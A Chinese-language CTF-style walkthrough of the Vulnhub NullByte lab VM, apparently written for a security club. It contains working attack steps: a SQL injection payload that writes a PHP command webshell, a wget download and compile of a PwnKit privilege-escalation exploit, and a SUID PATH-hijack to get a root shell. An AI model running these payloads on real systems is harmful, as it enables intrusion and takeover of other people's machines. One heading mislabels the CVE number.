网安社团周报 Week3 - Nullbyte靶机 SQL注入 Linux提权

网安社团周报 Week3 - Nullbyte靶机 SQL注入 Linux提权
Xiaozhi_z靶机来源于vulnhub 渗透思路参考:红队笔记 主要学习渗透思路以及工具的使用小技巧
靶机描述
1 | 项目代号: NB0x01 |
Nmap信息搜集
扫描C段找主机地址
1 | nmap -sn 10.10.110.0/24 |
只做 Ping 探测,不扫描端口
找到NullByte地址为 10.10.110.237

查询靶机开放的所有端口
1 | nmap --min-rate 10000 -p- 10.10.110.237 |
强制 Nmap 以每秒至少发送 10000 个数据包的速度进行扫描

根据开放的端口进行进一步的TCP扫描
1 | nmap -sT -sC -sV -O -p 80,111,777,48572 10.10.110.237 |
sTTCP Connect 扫描 完成TCP三次握手。通常用于在没有root权限时(或者特定网络环境下)替代默认的 -sS(SYN扫描)。sC使用默认脚本扫描 等效于 --script=default。对目标端口运行Nmap内置的默认脚本集,用于执行常见的漏洞检测、服务信息获取等。sV版本探测 探测开放端口上运行的服务及版本(例如:Apache 2.4.41, OpenSSH 8.2p1)。 O操作系统检测 基于TCP/IP协议栈指纹,尝试识别目标主机的操作系统(例如:Linux 5.x, Windows 10)。
可以看到777端口为ssh服务,80端口是正常的http服务,Linux的大致版本

将命令稍微一改,进行UDP扫描,111端口开放了UDP
1 | nmap -sU -sC -sV -O -p 80,111,777,48572 10.10.110.237 |
-sT为TCP扫描 -sU为UDP扫描

Web渗透
先测试一下Web服务 打开页面看见一只眼睛 看着像静态页面

那就开始扫一下目录,看看有没有什么隐藏目录
1 | dirsearch -u http://10.10.110.237/ |
看到有phpmyadmin服务以及一个uploads目录

打开uploads目录发现不能列出目录

回到Web主页面那里 查看一下源码
1 | <html> |
可以看到没什么东西 只有一个gif文件 因为是打靶 可以猜测有图片隐写 查一下图片的exif信息 可以看到一个隐藏的信息

可以直接将这个当作密码来尝试ssh和phpmyadmin进行登录 发现无果 之后发现访问一下这个路径有回显
靶机之后的地址会变成192.168.116.137 换网络环境了(

查看源码可以看到提示 让我们进行爆破密码
1 | <center> |
用Yakit的fuzz导入hashmob的small字典爆破即可
注释里面有写密码不复杂 用常用的密码字典就好啦

找到响应长度最不一样的流量包

发现没问题啦 下一步!密码爆破出来为elite

浏览器输入密码发现进入新的页面 成功!

SQL注入-手注-写入Webshell
打开页面发现是一个输入用户名的 输入a测试一下功能

发现可以模糊查询到对应的用户

盲猜这里存在SQL注入 用单引号闭合看一下 发现没有报错

但是双引号进行查询的时候发现报错了 这里可能存在SQL注入

使用ORDER BY语句先查询一下列数 看看是否存在注入
1 | http://192.168.116.137/kzMb5nVYJw/420search.php?usrtosearch=" ORDER BY 3-- - |
发现三列正常查询

但是四列的时候就开始报错了 可以看出列数为三列 而且存在SQL注入 语句写入进去啦
1 | http://192.168.116.137/kzMb5nVYJw/420search.php?usrtosearch=" ORDER BY 4-- - |

知道了列数 使用SQL语法来直接写入webshell 写入到我们之前探测到的/uploads目录
1 | http://192.168.116.137/kzMb5nVYJw/420search.php?usrtosearch=" union select "<?php system($_GET['a']); ?>",2,3 into outfile "/var/www/html/uploads/shell.php"; -- - |
看到回显 发现语句执行成功

访问发现有回显!上传成功!

执行命令whoami 可以看到权限为www-data低权限

刚刚的页面有查询数据库的功能 所以可以先从刚刚的页面看起 看一下源码
1 | .\curl.exe http://192.168.116.137/uploads/shell.php?a=cat%20/var/www/html/kzMb5nVYJw/420search.php |
成功得到mysql服务的用户和密码

渗透phpmyadmin-获得低权限ssh shell
刚刚得到了mysql的用户密码 之前的时候扫描过目录 知道有个数据库管理站点 用这个密码登录上去

找到一个刻意的库 里面的ramses用户的pass看起来像是base64编码

解码之后发现类似于md5加密

用一个在线的彩虹表查询到密码为omega

使用ssh连接服务器 之前我们知道是777端口啦 用户是ramses
1 | ssh ramses@192.168.116.137 -p 777 |
成功登录 获得低权限shell!

Linux提权
方法一 懒人提权 CVE-2024-4034
该靶机内核版本存在CVE-2021-4034 (PwnKit) 漏洞,且系统自带gcc编译器,因此可以直接下载利用源码进行编译提权。
有gcc的时候用这个挺爽的 这个洞的涵盖范围蛮大的 wget直接下载c文件
1 | wget --no-check-certificate https://github.com/arthepsy/CVE-2021-4034/raw/refs/heads/main/cve-2021-4034-poc.c |

使用gcc编译一下c文件
1 | gcc cve-2021-4034-poc.c -o cve-2021-4034-poc |
最后执行编译文件 得到root shell

查看proof.txt 打靶成功!

方法二 SUID提权
查询有SUID的文件
1 | find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; |
可以看到里面的 procwatch 很可疑

执行了这个文件后回显如下 其实有点像最后会用SUID的权限执行了一下ps命令的效果
它很可能是一个由root拥有并设置了SUID位的程序,其内部调用了
ps命令

那这时候就比较简单了 就是改一下环境变量 并把sh之类的shell名称改为ps 实现软件执行时使用ps命令 实际上用root权限执行sh提权的效果
但由于使用的是相对路径(即只写了
ps而不是/bin/ps),所以我们可以通过修改$PATH环境变量,让系统优先执行我们伪造的ps程序。
创建一个sh的软连接 名字为ps
1 | ln -s /bin/sh ps |
写入环境变量 将当前目录(.)添加到PATH的最前面
1 | export PATH=.:$PATH |
执行procwatch,此时它会调用”ps”,但实际上运行的是我们的/bin/sh,并且是root权限

查看proof.txt 打靶成功!

